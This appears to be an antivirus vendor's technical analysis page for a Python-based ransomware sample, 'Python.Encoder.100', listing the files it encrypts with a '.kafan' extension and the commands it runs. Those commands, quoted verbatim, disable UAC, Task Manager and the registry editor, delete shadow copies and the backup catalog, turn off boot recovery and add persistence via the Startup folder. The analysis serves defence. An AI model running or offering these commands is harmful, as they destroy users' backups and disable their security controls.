Python.Encoder.100

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)

blocks the following features:

User Account Control (UAC)

deletes volume shadow copies.

Modifies file system

Creates the following files

%TEMP%\_mei4242\crypto\cipher\_arc4.pyd
%HOMEPATH%\3d objects\desktop.ini.kafan
%LOCALAPPDATA%\comms\unistore\data\aggregatecache.uca.kafan
%LOCALAPPDATA%\comms\unistoredb\store.jfm.kafan
%LOCALAPPDATA%\comms\unistoredb\store.vol.kafan
%LOCALAPPDATA%\comms\unistoredb\uss.jcp.kafan
%LOCALAPPDATA%\comms\unistoredb\uss.jtx.kafan
%LOCALAPPDATA%\comms\unistoredb\ussres00001.jrs.kafan
%LOCALAPPDATA%\comms\unistoredb\ussres00002.jrs.kafan
%LOCALAPPDATA%\comms\unistoredb\usstmp.jtx.kafan
%LOCALAPPDATA%\connecteddevicesplatform\cdpglobalsettings.cdp.kafan
%LOCALAPPDATA%\connecteddevicesplatform\connected devices platform certificates.sst.kafan
%LOCALAPPDATA%\connecteddevicesplatform\l.user\activitiescache.db.kafan
%LOCALAPPDATA%\connecteddevicesplatform\l.user\activitiescache.db-shm.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\gmail.crx.kafan
%HOMEPATH%\.oracle_jre_usage\90737d32e3aba6b.timestamp.kafan
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\top_level.txt
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\47.0.2526.106.manifest.kafan
nul
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome_100_percent.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome_200_percent.pak.kafan
%LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_11_0.png
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome_child.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome_elf.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\chrome_watcher.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\d3dcompiler_47.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\docs.crx.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\drive.crx.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\external_extensions.json.kafan
%LOCALAPPDATA%\connecteddevicesplatform\l.user\activitiescache.db-wal.kafan
%LOCALAPPDATA%\connecteddevicesplatform\l.user.cdpresource.kafan
%TEMP%\_mei4242\select.pyd
%LOCALAPPDATA%\connecteddevicesplatform\l.user.cdp.kafan
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_hu.qm
%TEMP%\_mei4242\unicodedata.pyd
%TEMP%\_mei4242\win32api.pyd
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_ar.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_bg.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_ca.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_cs.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_da.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_de.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_en.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_es.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_fi.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_fr.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_gd.qm
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\record
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\entry_points.txt
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\wheel
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_ja.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_ko.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_lv.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_pl.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_ru.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_sk.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_tr.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_uk.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_zh_tw.qm
%TEMP%\_mei4242\base_library.zip
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\installer
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\license
%TEMP%\_mei4242\setuptools-58.1.0.dist-info\metadata
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_he.qm
%TEMP%\_mei4242\pyqt5\qt5\translations\qtbase_it.qm
%TEMP%\_mei4242\ucrtbase.dll
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\search.crx.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\icudtl.dat.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\lt.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\lv.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ml.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\mr.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ms.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\nb.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\nl.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\pl.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\pt-br.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\pt-pt.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ro.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ru.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\sk.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\kn.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ko.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\sl.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\sr.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\nacl_irt_x86_64.nexe.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\nacl_irt_x86_32.nexe.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\nacl64.exe.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\metro_driver.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\zh-tw.pak.kafan
%TEMP%\_mei4242\api-ms-win-core-console-l1-1-0.dll
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\zh-cn.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\uk.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\tr.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\th.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\te.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ta.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\sw.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\sv.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\delegate_execute.exe.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\default_apps\youtube.crx.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\id.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\installer\chrome.7z.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\installer\setup.exe.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\libegl.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\libexif.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\libglesv2.dll.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\am.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ar.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\bg.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\bn.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ca.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\cs.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\da.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\it.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\extensions\external_extensions.json.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\ja.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\de.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\es-419.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\es.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\et.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\fa.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\fi.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\fil.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\fr.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\gu.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\he.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\hi.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\hr.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\hu.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\el.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\en-gb.pak.kafan
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\en-us.pak.kafan
%TEMP%\_mei4242\pywin32_system32\pywintypes310.dll
%TEMP%\_mei4242\python310.dll
%TEMP%\_mei4242\python3.dll
%TEMP%\_mei4242\crypto\publickey\_ed25519.pyd
%TEMP%\_mei4242\crypto\publickey\_ed448.pyd
%TEMP%\_mei4242\crypto\publickey\_x25519.pyd
%TEMP%\_mei4242\crypto\util\_cpuid_c.pyd
%TEMP%\_mei4242\crypto\util\_strxor.pyd
%TEMP%\_mei4242\pyqt5\qt5\bin\msvcp140.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\msvcp140_1.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5core.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5dbus.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5gui.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5network.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5qml.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5qmlmodels.dll
%TEMP%\_mei4242\crypto\protocol\_scrypt.pyd
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qtiff.dll
%TEMP%\_mei4242\crypto\math\_modexp.pyd
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5widgets.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\d3dcompiler_47.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\libegl.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\libglesv2.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\opengl32sw.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\generic\qtuiotouchplugin.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\iconengines\qsvgicon.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qgif.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qicns.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qico.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qjpeg.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qsvg.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qtga.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5svg.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5quick.dll
%TEMP%\_mei4242\pyqt5\qt5\bin\qt5websockets.dll
%TEMP%\_mei4242\crypto\hash\_keccak.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_ofb.pyd
%TEMP%\_mei4242\crypto\cipher\_chacha20.pyd
%TEMP%\_mei4242\crypto\cipher\_pkcs1_decode.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_aes.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_aesni.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_arc2.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_blowfish.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_cast.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_cbc.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_cfb.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_ctr.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_des.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_des3.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_ecb.pyd
%TEMP%\_mei4242\crypto\hash\_poly1305.pyd
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qwbmp.dll
%TEMP%\_mei4242\crypto\cipher\_salsa20.pyd
%TEMP%\_mei4242\crypto\hash\_blake2b.pyd
%TEMP%\_mei4242\crypto\hash\_blake2s.pyd
%TEMP%\_mei4242\crypto\hash\_md2.pyd
%TEMP%\_mei4242\crypto\hash\_md4.pyd
%TEMP%\_mei4242\crypto\hash\_md5.pyd
%TEMP%\_mei4242\crypto\hash\_ripemd160.pyd
%TEMP%\_mei4242\crypto\hash\_sha1.pyd
%TEMP%\_mei4242\crypto\hash\_sha224.pyd
%TEMP%\_mei4242\crypto\hash\_sha256.pyd
%TEMP%\_mei4242\crypto\hash\_sha384.pyd
%TEMP%\_mei4242\crypto\hash\_sha512.pyd
%TEMP%\_mei4242\crypto\hash\_ghash_clmul.pyd
%TEMP%\_mei4242\crypto\hash\_ghash_portable.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_ocb.pyd
%TEMP%\_mei4242\crypto\cipher\_raw_eksblowfish.pyd
%TEMP%\_mei4242\crypto\publickey\_ec_ws.pyd
%TEMP%\_mei4242\pyqt5\qt5\plugins\imageformats\qwebp.dll
%TEMP%\_mei4242\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei4242\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei4242\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei4242\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei4242\libcrypto-1_1.dll
%TEMP%\_mei4242\libffi-7.dll
%TEMP%\_mei4242\libssl-1_1.dll
%TEMP%\_mei4242\markupsafe\_speedups.cp310-win32.pyd
%TEMP%\_mei4242\pyexpat.pyd
%TEMP%\_mei4242\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\platforms\qminimal.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\platforms\qwebgl.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\platforms\qwindows.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\platformthemes\qxdgdesktopportal.dll
%TEMP%\_mei4242\pyqt5\qt5\plugins\styles\qwindowsvistastyle.dll
%TEMP%\_mei4242\pyqt5\qtcore.pyd
%TEMP%\_mei4242\pyqt5\qtgui.pyd
%TEMP%\_mei4242\pyqt5\qtwidgets.pyd
%TEMP%\_mei4242\pyqt5\sip.cp310-win32.pyd
%TEMP%\_mei4242\vcruntime140.dll
%TEMP%\_mei4242\_asyncio.pyd
%TEMP%\_mei4242\_bz2.pyd
%TEMP%\_mei4242\_cffi_backend.cp310-win32.pyd
%TEMP%\_mei4242\_ctypes.pyd
%TEMP%\_mei4242\_decimal.pyd
%TEMP%\_mei4242\pyqt5\qt5\plugins\platforms\qoffscreen.dll
%TEMP%\_mei4242\_hashlib.pyd
%TEMP%\_mei4242\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei4242\_lzma.pyd
%TEMP%\_mei4242\_multiprocessing.pyd
%TEMP%\_mei4242\_overlapped.pyd
%TEMP%\_mei4242\_queue.pyd
%TEMP%\_mei4242\_socket.pyd
%TEMP%\_mei4242\_ssl.pyd
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\locales\vi.pak.kafan
%TEMP%\_mei4242\_uuid.pyd
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\natives_blob.bin.kafan
%TEMP%\_mei4242\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei4242\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei4242\api-ms-win-core-datetime-l1-1-0.dll
%LOCALAPPDATA%\google\chrome\application\47.0.2526.106\pepperflash\manifest.json.kafan

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /c "copy <Full path to file> %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemLoad.exe"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f >NUL 2>NUL"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f >NUL 2>NUL"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d 2 /f >NUL 2>NUL"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t reg_dword /d 1 /f >NUL 2>NUL"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "vssadmin delete shadow /all /quiet"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "wmic shadowcopy delete"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} boostatuspolicy ignoreallfailures"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} recoveryenabled no"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c "wbadmin delete catalog -quiet"' (with hidden window)

Restarts the analyzed sample

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c "copy <Full path to file> %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemLoad.exe"
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f >NUL 2>NUL"
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f >NUL 2>NUL"
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d 2 /f >NUL 2>NUL"
'%WINDIR%\syswow64\cmd.exe' /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t reg_dword /d 1 /f >NUL 2>NUL"
'%WINDIR%\syswow64\cmd.exe' /c "vssadmin delete shadow /all /quiet"
'%WINDIR%\syswow64\cmd.exe' /c "wmic shadowcopy delete"
'%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} boostatuspolicy ignoreallfailures"
'%WINDIR%\syswow64\cmd.exe' /c "bcdedit /set {default} recoveryenabled no"
'%WINDIR%\syswow64\cmd.exe' /c "wbadmin delete catalog -quiet"
'<SYSTEM32>\searchprotocolhost.exe' Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "%...
'%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d 2 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t reg_dword /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f
'<SYSTEM32>\searchfilterhost.exe' 0 772 776 784 8192 780

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial